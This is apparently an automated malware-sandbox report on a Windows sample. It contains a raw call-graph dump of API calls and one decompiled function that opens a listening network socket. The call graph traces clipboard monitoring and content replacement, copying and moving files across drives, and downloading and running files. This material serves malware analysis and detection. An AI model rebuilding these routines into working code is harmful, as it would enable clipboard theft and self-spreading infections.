PostQueuedCompletionStatus 5432->5433 5433->5431 5433->5433 5435->5430 5436 40e0be 5478 40bcc0 5436->5478 5437->5430 5439 40e038 InterlockedIncrement 5437->5439 5441 40e620 4 API calls 5439->5441 5441->5430 5443 40e0ef DeleteCriticalSection 5445 408b60 __aligned_recalloc_base 3 API calls 5443->5445 5444->5430 5445->5446 5446->5117 5448 4089f0 7 API calls 5447->5448 5449 40e9fb 5448->5449 5450 40eb76 5449->5450 5451 40ea08 GetSystemInfo InitializeCriticalSection CreateEventA 5449->5451 5450->5423 5452 40ea46 CreateIoCompletionPort 5451->5452 5453 40eb6f 5451->5453 5452->5453 5454 40ea5f 5452->5454 5455 40dfd0 36 API calls 5453->5455 5456 40b9e0 8 API calls 5454->5456 5457 40eb74 5455->5457 5458 40ea64 5456->5458 5457->5450 5458->5453 5459 40ea6f WSASocketA 5458->5459 5459->5453 5460 40ea8d setsockopt htons bind 5459->5460 5460->5453 5461 40eaf6 listen 5460->5461 5461->5453 5462 40eb0a WSACreateEvent 5461->5462 5462->5453 5463 40eb17 WSAEventSelect 5462->5463 5463->5453 5464 40eb29 5463->5464 5465 40eb4f 5464->5465 5467 40ba90 248 API calls 5464->5467 5466 40ba90 248 API calls 5465->5466 5468 40eb64 5466->5468 5467->5464 5468->5423 5470 40bbb6 InterlockedExchangeAdd 5469->5470 5471 40bc99 GetCurrentThread SetThreadPriority 5469->5471 5470->5471 5476 40bbd0 5470->5476 5471->5436 5472 40bbe9 EnterCriticalSection 5472->5476 5473 40bc57 LeaveCriticalSection 5473->5476 5477 40bc6e 5473->5477 5474 40bc33 WaitForSingleObject 5474->5476 5475 40bc8c Sleep 5475->5476 5476->5471 5476->5472 5476->5473 5476->5474 5476->5475 5476->5477 5477->5471 5479 40bd42 CloseHandle CloseHandle WSACloseEvent 5478->5479 5480 40bccc EnterCriticalSection 5478->5480 5487 4094f0 shutdown closesocket 5479->5487 5481 40bce8 5480->5481 5482 40bd10 LeaveCriticalSection DeleteCriticalSection 5481->5482 5483 40bcfb CloseHandle 5481->5483 5484 408b60 __aligned_recalloc_base 3 API calls 5482->5484 5483->5481 5485 40bd36 5484->5485 5486 408b60 __aligned_recalloc_base 3 API calls 5485->5486 5486->5479 5487->5443 5489 40d87e 5488->5489 5490 40d79e 5488->5490 5489->5128 5490->5489 5491 4089f0 7 API calls 5490->5491 5492 40d7ae CreateEventA socket 5491->5492 5493 40d7e5 5492->5493 5494 40d7ec 5492->5494 5496 40dbf0 8 API calls 5493->5496 5494->5489 5495 40d7f4 htons setsockopt bind 5494->5495 5497 40d864 CreateThread 5495->5497 5498 40d858 5495->5498 5499 40d7ea 5496->5499 5497->5489 5502 40d9c0 19 API calls __aligned_recalloc_base 5497->5502 5500 40dbf0 8 API calls 5498->5500 5499->5494 5501 40d85d 5500->5501 5501->5128 5504 40e8c2 InterlockedDecrement setsockopt closesocket 5503->5504 5505 40e744 5503->5505 5522 40e809 5504->5522 5505->5504 5506 40e74c 5505->5506 5523 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5506->5523 5508 40e751 InterlockedExchange 5509 40e768 5508->5509 5510 40e81e 5508->5510 5513 40e779 InterlockedDecrement 5509->5513 5514 40e78c InterlockedDecrement InterlockedExchangeAdd 5509->5514 5509->5522 5511 40e837 5510->5511 5512 40e827 InterlockedDecrement 5510->5512 5515 40e842 5511->5515 5516 40e857 InterlockedDecrement 5511->5516 5512->5137 5513->5137 5519 40e7ff 5514->5519 5524 40e4b0 WSASend 5515->5524 5518 40e8b9 5516->5518 5518->5137 5521 40e6c0 7 API calls 5519->5521 5520 40e84e 5520->5137 5521->5522 5522->5137 5523->5508 5525 40e520 5524->5525 5526 40e4e2 WSAGetLastError 5524->5526 5525->5520 5526->5525 5527 40e4ef 5526->5527 5528 40e526 5527->5528 5529 40e4f6 Sleep WSASend 5527->5529 5528->5520 5529->5525 5529->5526 5531 404369 memset GetModuleHandleW 5530->5531 5532 4043a2 Sleep GetTickCount GetTickCount wsprintfW RegisterClassExW 5531->5532 5532->5532 5533 4043e0 CreateWindowExW 5532->5533 5534 40440b 5533->5534 5535 40440d GetMessageA 5533->5535 5536 40443f ExitThread 5534->5536 5537 404421 TranslateMessage DispatchMessageA 5535->5537 5538 404437 5535->5538 5537->5535 5538->5531 5538->5536 5561 40d070 CreateFileW 5539->5561 5541 405598 ExitThread 5543 405440 5543->5541 5544 405588 Sleep 5543->5544 5545 405479 5543->5545 5564 404c20 GetLogicalDrives 5543->5564 5544->5543 5570 404bc0 5545->5570 5548 4054b0 GetVolumeInformationW GetDiskFreeSpaceExW _aulldiv wsprintfW 5550 405526 wsprintfW 5548->5550 5551 40553b wsprintfW 5548->5551 5549 4054ab 5550->5551 5576 404f30 _chkstk 5551->5576 5555 405cbf Sleep 5554->5555 5559 405cd6 5555->5559 5556 405d56 Sleep 5556->5555 5557 405cee Sleep wsprintfA 5629 40d330 InternetOpenA 5557->5629 5559->5556 5559->5557 5636 40d3e0 GetTickCount srand ExpandEnvironmentStringsW 5559->5636 5562 40d0b8 5561->5562 5563 40d09f GetFileSize FindCloseChangeNotification 5561->5563 5562->5543 5563->5562 5569 404c4d 5564->5569 5565 404cc6 5565->5543 5566 404c5c RegOpenKeyExW 5567 404c7e RegQueryValueExW 5566->5567 5566->5569 5568 404cba RegCloseKey 5567->5568 5567->5569 5568->5569 5569->5565 5569->5566 5569->5568 5571 404c19 5570->5571 5572 404bdc 5570->5572 5571->5548 5571->5549 5611 404b40 GetDriveTypeW 5572->5611 5575 404c0b lstrcpyW 5575->5571 5577 404f47 5576->5577 5578 404f4e 6 API calls 5576->5578 5577->5549 5579 405002 5578->5579 5580 405044 PathFileExistsW 5578->5580 5583 40d070 3 API calls 5579->5583 5581 4050c0 PathFileExistsW 5580->5581 5582 405055 PathFileExistsW 5580->5582 5586 4050d1 5581->5586 5587 405116 FindFirstFileW 5581->5587 5584 405066 CreateDirectoryW 5582->5584 5585 405088 PathFileExistsW 5582->5585 5588 40500e 5583->5588 5584->5585 5589 405079 SetFileAttributesW 5584->5589 5585->5581 5590 405099 CopyFileW 5585->5590 5591 4050f1 5586->5591 5592 4050d9 5586->5592 5587->5577 5604 40513d 5587->5604 5588->5580 5593 405025 SetFileAttributesW DeleteFileW 5588->5593 5589->5585 5590->5581 5595 4050b1 SetFileAttributesW 5590->5595 5597 404ce0 3 API calls 5591->5597 5616 404ce0 CoInitialize CoCreateInstance 5592->5616 5593->5580 5594 4051ff lstrcmpW 5598 405215 lstrcmpW 5594->5598 5594->5604 5595->5581 5599 4050ec SetFileAttributesW 5597->5599 5598->5604 5599->5587 5600 4053d6 FindNextFileW 5600->5594 5602 4053f2 FindClose 5600->5602 5602->5577 5603 40525b lstrcmpiW 5603->5604 5604->5594 5604->5600 5604->5603 5605 4052c2 PathMatchSpecW 5604->5605 5606 405340 PathFileExistsW 5604->5606 5620 404df0 CreateDirectoryW wsprintfW FindFirstFileW 5604->5620 5605->5604 5607 4052e3 wsprintfW SetFileAttributesW DeleteFileW 5605->5607 5606->5604 5608 405356 wsprintfW wsprintfW 5606->5608 5607->5604 5608->5604 5609 4053c0 MoveFileExW 5608->5609 5609->5600 5612 404b7a 5611->5612 5613 404b68 5611->5613 5612->5571 5612->5575 5613->5612 5614 404b7c QueryDosDeviceW 5613->5614 5614->5612 5615 404b96 StrCmpNW 5614->5615 5615->5612 5617 404d16 5616->5617 5619 404d52 5616->5619 5618 404d20 wsprintfW 5617->5618 5617->5619 5618->5619 5619->5599 5621 404e45 lstrcmpW 5620->5621 5622 404f1f 5620->5622 5623 404e5b lstrcmpW 5621->5623 5627 404e71 5621->5627 5622->5604 5624 404e73 wsprintfW wsprintfW 5623->5624 5623->5627 5626 404ed6 MoveFileExW 5624->5626 5624->5627 5625 404eec FindNextFileW 5625->5621 5628 404f08 FindClose RemoveDirectoryW 5625->5628 5626->5625 5627->5625 5628->5622 5630 40d356 InternetOpenUrlA 5629->5630 5631 40d3c8 Sleep 5629->5631 5632 40d375 HttpQueryInfoA 5630->5632 5633 40d3be InternetCloseHandle 5630->5633 5631->5559 5634 40d3b4 InternetCloseHandle 5632->5634 5635 40d39e 5632->5635 5633->5631 5634->5633 5635->5634 5637 40d42e 5636->5637 5637->5637 5638 40d44c mbstowcs rand rand wsprintfW InternetOpenW 5637->5638 5639 40d650 InternetCloseHandle Sleep 5638->5639 5640 40d4e5 InternetOpenUrlW 5638->5640 5643 40d775 5639->5643 5644 40d677 6 API calls 5639->5644 5641 40d643 InternetCloseHandle 5640->5641 5642 40d514 CreateFileW 5640->5642 5641->5639 5646 40d543 InternetReadFile 5642->5646 5647 40d636 CloseHandle 5642->5647 5643->5559 5644->5643 5645 40d6f9 wsprintfW DeleteFileW Sleep 5644->5645 5648 40d0c0 20 API calls 5645->5648 5649 40d596 CloseHandle wsprintfW DeleteFileW Sleep 5646->5649 5650 40d567 5646->5650 5647->5641 5652 40d739 5648->5652 5667 40d0c0 CreateFileW 5649->5667 5650->5649 5651 40d570 WriteFile 5650->5651 5651->5646 5654 40d743 Sleep 5652->5654 5655 40d777 DeleteFileW 5652->5655 5657 40d280 5 API calls 5654->5657 5655->5643 5660 40d75a 5657->5660 5658 40d629 DeleteFileW 5658->5647 5659 40d5ed Sleep 5661 40d280 5 API calls 5659->5661 5660->5643 5663 40d76d ExitProcess 5660->5663 5662 40d604 5661->5662 5664 40d620 5662->5664 5665 40d60f 5662->5665 5664->5647 5665->5664 5666 40d618 ExitProcess 5665->5666 5668 40d213 5667->5668 5669 40d107 CreateFileMappingW 5667->5669 5672 40d219 CreateFileW 5668->5672 5673 40d26a 5668->5673 5670 40d128 MapViewOfFile 5669->5670 5671 40d209 CloseHandle 5669->5671 5674 40d147 GetFileSize 5670->5674 5675 40d1ff CloseHandle 5670->5675 5671->5668 5676 40d261 5672->5676 5677 40d23b WriteFile CloseHandle 5672->5677 5673->5658 5673->5659 5679 40d163 5674->5679 5680 40d1f5 UnmapViewOfFile 5674->5680 5675->5671 5678 408b60 __aligned_recalloc_base 3 API calls 5676->5678 5677->5676 5678->5673 5688 40b0d0 5679->5688 5680->5675 5683 40aa70 7 API calls 5684 40d1ae 5683->5684 5684->5680 5685 40d1e2 5684->5685 5686 408b60 __aligned_recalloc_base 3 API calls 5685->5686 5687 40d1eb 5686->5687 5687->5680 5689 40ab60 10 API calls 5688->5689 5690 40b0f4 5689->5690 5690->5680 5690->5683 5783 40b840 5784 40b857 5783->5784 5798 40b8ae 5783->5798 5785 40b861 5784->5785 5786 40b8b3 5784->5786 5787 40b8fd 5784->5787 5784->5798 5790 4089f0 7 API calls 5785->5790 5788 40b8d8 5786->5788 5789 40b8cb InterlockedDecrement 5786->5789 5816 40a4a0 5787->5816 5792 408b60 __aligned_recalloc_base 3 API calls 5788->5792 5789->5788 5793 40b86e 5790->5793 5794 40b8e4 5792->5794 5805 40df90 5793->5805 5796 408b60 __aligned_recalloc_base 3 API calls 5794->5796 5796->5798 5801 40b89b InterlockedIncrement 5801->5798 5802 40a100 259 API calls 5803 40b923 5802->5803 5803->5798 5803->5802 5821 40a5a0 5803->5821 5806 40b880 5805->5806 5807 40df94 5805->5807 5809 4097e0 5806->5809 5807->5806 5808 40dfa5 InterlockedIncrement 5807->5808 5808->5806 5810 409660 2 API calls 5809->5810 5811 4097ef 5810->5811 5812 4097f9 5811->5812 5813 4097fd EnterCriticalSection 5811->5813 5812->5798 5812->5801 5815 40981c LeaveCriticalSection 5813->5815 5815->5812 5817 40a4b3 5816->5817 5818 40a4dd memcpy 5816->5818 5819 408a50 9 API calls 5817->5819 5818->5803 5820 40a4d4 5819->5820 5820->5818 5822 40a5c9 5821->5822 5823 40a5be 5821->5823 5822->5823 5824 40a5e1 memmove 5822->5824 5823->5803 5824->5823 5882 405b60 5883 405bc7 5882->5883 5885 405b71 5882->5885 5884 405bc5 5883->5884 5886 40d3e0 60 API calls 5883->5886 5887 408b60 __aligned_recalloc_base 3 API calls 5884->5887 5885->5884 5888 405b80 StrChrA 5885->5888 5890 40d3e0 60 API calls 5885->5890 5886->5884 5889 405bf2 5887->5889 5888->5885 5891 405baf Sleep 5890->5891 5891->5885 5892 40ebe0 5893 40ebfe 5892->5893 5895 40ec94 5892->5895 5894 40ee1d NtQueryVirtualMemory 5893->5894 5897 40ec19 5894->5897 5896 40ed08 RtlUnwind 5896->5897 5897->5895 5897->5896 5898 40b7e0 5903 40e530 5898->5903 5900 40b7f5 5901 40b813 5900->5901 5902 40e530 16 API calls 5900->5902 5902->5901 5904 40e60b 5903->5904 5905 40e540 5903->5905 5904->5900 5905->5904 5906 4089f0 7 API calls 5905->5906 5907 40e568 5906->5907 5907->5904 5908 408bd0 8 API calls 5907->5908 5909 40e594 5908->5909 5910 40e5b0 5909->5910 5911 40e5a1 5909->5911 5913 40e4b0 4 API calls 5910->5913 5912 408b60 __aligned_recalloc_base 3 API calls 5911->5912 5914 40e5a7 5912->5914 5915 40e5bd 5913->5915 5914->5900 5916 40e5c6 EnterCriticalSection 5915->5916 5917 40e5fc 5915->5917 5918 40e5e9 LeaveCriticalSection 5916->5918 5919 40e5dd 5916->5919 5920 408b60 __aligned_recalloc_base 3 API calls 5917->5920 5918->5900 5919->5918 5921 40e605 5920->5921 5922 408b60 __aligned_recalloc_base 3 API calls 5921->5922 5922->5904 5923 40dde0 5924 40ddf7 5923->5924 5930 40de70 5923->5930 5925 40de07 5924->5925 5926 40de25 EnterCriticalSection 5924->5926 5927 40de5c LeaveCriticalSection DeleteCriticalSection 5926->5927 5928 40de3d 5926->5928 5929 408b60 __aligned_recalloc_base 3 API calls 5927->5929 5931 408b60 GetCurrentProcessId HeapValidate HeapFree __aligned_recalloc_base 5928->5931 5932 40de5b 5928->5932 5929->5930 5931->5928 5932->5927 5825 4048c5 5826 40483e 5825->5826 5827 4048ca LeaveCriticalSection 5826->5827 5828 408bd0 8 API calls 5826->5828 5829 40489c 5828->5829 5829->5827 5830 405285 5842 40522b 5830->5842 5831 40525b lstrcmpiW 5831->5842 5832 4053d6 FindNextFileW 5834 4053f2 FindClose 5832->5834 5835 4051ff lstrcmpW 5832->5835 5833 4052c2 PathMatchSpecW 5838 4052e3 wsprintfW SetFileAttributesW DeleteFileW 5833->5838 5833->5842 5839 4053ff 5834->5839 5837 405215 lstrcmpW 5835->5837 5835->5842 5836 405340 PathFileExistsW 5840 405356 wsprintfW wsprintfW 5836->5840 5836->5842 5837->5842 5838->5842 5841 4053c0 MoveFileExW 5840->5841 5840->5842 5841->5832 5842->5831 5842->5832 5842->5833 5842->5836 5843 404df0 11 API calls 5842->5843 5843->5842 5933 405466 5937 405448 5933->5937 5934 405588 Sleep 5934->5937 5935 405479 5936 404bc0 4 API calls 5935->5936 5939 40548a 5936->5939 5937->5934 5937->5935 5938 405598 ExitThread 5937->5938 5940 404c20 4 API calls 5937->5940 5941 4054b0 GetVolumeInformationW GetDiskFreeSpaceExW _aulldiv wsprintfW 5939->5941 5942 4054ab 5939->5942 5940->5937 5943 405526 wsprintfW 5941->5943 5944 40553b wsprintfW 5941->5944 5943->5944 5945 404f30 49 API calls 5944->5945 5945->5942 5946 405d66 ExitThread 5947 406529 5948 406532 5947->5948 5949 406541 34 API calls 5948->5949 5950 407376 5948->5950 5965 40d96f 5968 40d930 5965->5968 5966 40d99b memmove 5966->5968 5967 40d9ae 5968->5966 5968->5967 5691 404110 GetWindowLongW 5692 404134 5691->5692 5693 404156 5691->5693 5694 404141 5692->5694 5695 4041c7 IsClipboardFormatAvailable 5692->5695 5696 404151 5693->5696 5700 4041a6 5693->5700 5701 40418e SetWindowLongW 5693->5701 5697 404164 SetClipboardViewer SetWindowLongW 5694->5697 5698 404147 5694->5698 5702 4041e3 IsClipboardFormatAvailable 5695->5702 5703 4041da 5695->5703 5699 404344 DefWindowProcA 5696->5699 5697->5699 5698->5696 5705 4042fd RegisterRawInputDevices ChangeClipboardChain 5698->5705 5700->5696 5706 4041ac SendMessageA 5700->5706 5701->5696 5702->5703 5704 4041f8 IsClipboardFormatAvailable 5702->5704 5707 404215 OpenClipboard 5703->5707 5708 4042df 5703->5708 5704->5703 5705->5699 5706->5696 5707->5708 5709 404225 GetClipboardData 5707->5709 5708->5696 5710 4042e5 SendMessageA 5708->5710 5709->5696 5711 40423d GlobalLock 5709->5711 5710->5696 5711->5696 5712 404255 5711->5712 5713 404268 5712->5713 5714 404289 5712->5714 5716 40429e 5713->5716 5717 40426e 5713->5717 5715 403f20 13 API calls 5714->5715 5718 404274 GlobalUnlock CloseClipboard 5715->5718 5733 404040 5716->5733 5717->5718 5727 403e60 5717->5727 5718->5708 5722 4042c7 5718->5722 5741 403480 lstrlenW 5722->5741 5725 408b60 __aligned_recalloc_base 3 API calls 5726 4042dc 5725->5726 5726->5708 5728 403e6b 5727->5728 5729 403e71 lstrlenW 5728->5729 5730 403e84 5728->5730 5731 408a10 __aligned_recalloc_base 7 API calls 5728->5731 5732 403ea1 lstrcpynW 5728->5732 5729->5728 5729->5730 5730->5718 5731->5728 5732->5728 5732->5730 5738 40404d 5733->5738 5734 404053 lstrlenA 5734->5738 5739 404066 5734->5739 5735 403e00 2 API calls 5735->5738 5736 408a10 __aligned_recalloc_base 7 API calls 5736->5738 5738->5734 5738->5735 5738->5736 5738->5739 5740 408b60 __aligned_recalloc_base 3 API calls 5738->5740 5778 403ff0 5738->5778 5739->5718 5740->5738 5748 4034b4 5741->5748 5742 403853 StrStrW 5743 403866 5742->5743 5744 40386a StrStrW 5742->5744 5743->5744 5745 403881 StrStrW 5744->5745 5746 40387d 5744->5746 5752 403894 5745->5752 5746->5745 5747 40364a 5747->5725 5748->5747 5749 403750 StrStrW 5748->5749 5755 40365c 5748->5755 5751 40377b StrStrW 5749->5751 5749->5755 5750 4038fe isalpha 5750->5752 5753 403915 isdigit 5750->5753 5754 4037a6 StrStrW 5751->5754 5751->5755 5752->5747 5752->5750 5762 403938 5752->5762 5753->5747 5753->5752 5754->5755 5755->5742 5755->5747 5756 403c6d StrStrW 5760 403c80 5756->5760 5761 403c87 StrStrW 5756->5761 5757 403c1f StrStrW 5758 403c32 5757->5758 5759 403c39 StrStrW 5757->5759 5758->5759 5763 403c53 StrStrW 5759->5763 5764 403c4c 5759->5764 5760->5761 5765 403ca1 StrStrW 5761->5765 5766 403c9a 5761->5766 5762->5756 5762->5757 5763->5756 5769 403c66 5763->5769 5764->5763 5767 403cb4 5765->5767 5768 403cbb StrStrW 5765->5768 5766->5765 5767->5768 5770 403cd5 StrStrW 5768->5770 5771 403cce 5768->5771 5769->5756 5772 403ce8 lstrlenA 5770->5772 5771->5770 5772->5747 5774 403d7b GlobalAlloc 5772->5774 5774->5747 5775 403d96 GlobalLock 5774->5775 5775->5747 5776 403da9 memcpy GlobalUnlock OpenClipboard 5775->5776 5776->5747 5777 403dd6 EmptyClipboard SetClipboardData CloseClipboard 5776->5777 5777->5747 5779 403ffb 5778->5779 5780 404001 lstrlenA 5779->5780 5781 403e00 2 API calls 5779->5781 5782 404034 5779->5782 5780->5779 5781->5779 5782->5738 5844 40b750 5845 4097e0 4 API calls 5844->5845 5846 40b763 5845->5846 5847 40b77a 5846->5847 5848 40b5f0 259 API calls 5846->5848 5848->5847 5849 40b3d0 5854 40b370 5849->5854 5852 40b370 send 5853 40b3fe 5852->5853 5855 40b381 send 5854->5855 5856 40b3b5 5855->5856 5857 40b39e 5855->5857 5856->5852 5856->5853 5857->5855 5857->5856 5969 4047f0 5970 40478b 5969->5970 5971 408b60 __aligned_recalloc_base 3 API calls 5970->5971 5972 4047fb LeaveCriticalSection 5971->5972 5974 40bdb0 5975 40a100 259 API calls 5974->5975 5976 40bde8 5975->5976 5977 40c631 5979 40c63a 5977->5979 5978 40c72d 5979->5978 5980 40c6a3 lstrcmpiW 5979->5980 5981 40c723 SysFreeString 5980->5981 5982 40c6b6 5980->5982 5981->5978 5983 40c0f0 2 API calls 5982->5983 5985 40c6c4 5983->5985 5984 40c715 5984->5981 5985->5981 5985->5984 5986 40c6f3 lstrcmpiW 5985->5986 5987 40c705 5986->5987 5988 40c70b SysFreeString 5986->5988 5987->5988 5988->5984 5870 40ebd8 5871 40ebe0 5870->5871 5873 40ec94 5871->5873 5876 40ee1d 5871->5876 5875 40ec19 5875->5873 5880 40ed08 RtlUnwind 5875->5880 5877 40ee32 5876->5877 5879 40ee4e 5876->5879 5878 40eebd NtQueryVirtualMemory 5877->5878 5877->5879 5878->5879 5879->5875 5881 40ed20 5880->5881 5881->5875 5989 404a3c 5990 40493c 5989->5990 5993 408b60 __aligned_recalloc_base 3 API calls 5990->5993 6009 404a33 5990->6009 5991 404450 15 API calls 5994 404a5c 5991->5994 5992 408b60 __aligned_recalloc_base 3 API calls 5995 404a7d 5992->5995 5996 404992 5993->5996 5994->5992 5997 404a8c CreateFileW 5995->5997 5998 404b1e LeaveCriticalSection 5995->5998 5999 408bd0 8 API calls 5996->5999 5997->5998 6000 404aaf 5997->6000 6001 4049a2 5999->6001 6003 404b0a FlushFileBuffers CloseHandle 6000->6003 6004 404acc WriteFile 6000->6004 6002 408b60 __aligned_recalloc_base 3 API calls 6001->6002 6005 4049c9 6002->6005 6003->5998 6004->6000 6006 40aa70 7 API calls 6005->6006 6007 404a00 6006->6007 6008 405c00 10 API calls 6007->6008 6008->6009 6009->5991 6009->5994 6010 408c3e 6011 408b60 __aligned_recalloc_base 3 API calls 6010->6011 6014 408bfd 6011->6014 6012 408c12 6013 408a10 __aligned_recalloc_base 7 API calls 6013->6014 6014->6012 6014->6013 6015 408c14 memcpy 6014->6015 6015->6014

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 0040E9F0 Relevance: 16.6, APIs: 11, Instructions: 129networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 260 40e9f0-40ea02 call 4089f0 263 40eb76-40eb7a 260->263 264 40ea08-40ea40 GetSystemInfo InitializeCriticalSection CreateEventA 260->264 265 40ea46-40ea59 CreateIoCompletionPort 264->265 266 40eb6f-40eb74 call 40dfd0 264->266 265->266 267 40ea5f-40ea69 call 40b9e0 265->267 266->263 267->266 272 40ea6f-40ea87 WSASocketA 267->272 272->266 273 40ea8d-40eaf0 setsockopt htons bind 272->273 273->266 274 40eaf6-40eb08 listen 273->274 274->266 275 40eb0a-40eb15 WSACreateEvent 274->275 275->266 276 40eb17-40eb27 WSAEventSelect 275->276 276->266 277 40eb29-40eb2f 276->277 278 40eb31-40eb41 call 40ba90 277->278 279 40eb4f-40eb5f call 40ba90 277->279 283 40eb46-40eb4d 278->283 282 40eb64-40eb6e 279->282 283->278 283->279
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 45%
                                                                                                                                                                                                                                                                                                                                                      			E0040E9F0(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E004089F0(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350; // executed
					GetSystemInfo( &_v36); // executed
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040DFD0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040B9E0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1); // executed
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1); // executed
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BA90( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E920, _t54, 0, 0); // executed
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BA90( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E2F0, _t54, 0, 0); // executed
					return _t54;
				}
			}

























                                                                                                                                                                                                                                                                                                                                                      0x0040e9f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e9fb
                                                                                                                                                                                                                                                                                                                                                      0x0040e9fd
                                                                                                                                                                                                                                                                                                                                                      0x0040ea02
                                                                                                                                                                                                                                                                                                                                                      0x0040eb7a
                                                                                                                                                                                                                                                                                                                                                      0x0040ea08
                                                                                                                                                                                                                                                                                                                                                      0x0040ea0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ea13
                                                                                                                                                                                                                                                                                                                                                      0x0040ea19
                                                                                                                                                                                                                                                                                                                                                      0x0040ea1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ea24
                                                                                                                                                                                                                                                                                                                                                      0x0040ea27
                                                                                                                                                                                                                                                                                                                                                      0x0040ea35
                                                                                                                                                                                                                                                                                                                                                      0x0040ea3b
                                                                                                                                                                                                                                                                                                                                                      0x0040ea40
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb74
                                                                                                                                                                                                                                                                                                                                                      0x0040ea4e
                                                                                                                                                                                                                                                                                                                                                      0x0040ea54
                                                                                                                                                                                                                                                                                                                                                      0x0040ea59
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea5f
                                                                                                                                                                                                                                                                                                                                                      0x0040ea64
                                                                                                                                                                                                                                                                                                                                                      0x0040ea69
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ea81
                                                                                                                                                                                                                                                                                                                                                      0x0040ea87
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea9c
                                                                                                                                                                                                                                                                                                                                                      0x0040eaa1
                                                                                                                                                                                                                                                                                                                                                      0x0040eaad
                                                                                                                                                                                                                                                                                                                                                      0x0040eab1
                                                                                                                                                                                                                                                                                                                                                      0x0040eab5
                                                                                                                                                                                                                                                                                                                                                      0x0040eab9
                                                                                                                                                                                                                                                                                                                                                      0x0040eabe
                                                                                                                                                                                                                                                                                                                                                      0x0040eac8
                                                                                                                                                                                                                                                                                                                                                      0x0040eacd
                                                                                                                                                                                                                                                                                                                                                      0x0040ead1
                                                                                                                                                                                                                                                                                                                                                      0x0040eadd
                                                                                                                                                                                                                                                                                                                                                      0x0040eae2
                                                                                                                                                                                                                                                                                                                                                      0x0040eae7
                                                                                                                                                                                                                                                                                                                                                      0x0040eaf0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eaff
                                                                                                                                                                                                                                                                                                                                                      0x0040eb08
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb0a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb10
                                                                                                                                                                                                                                                                                                                                                      0x0040eb15
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb1e
                                                                                                                                                                                                                                                                                                                                                      0x0040eb27
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb2a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb2f
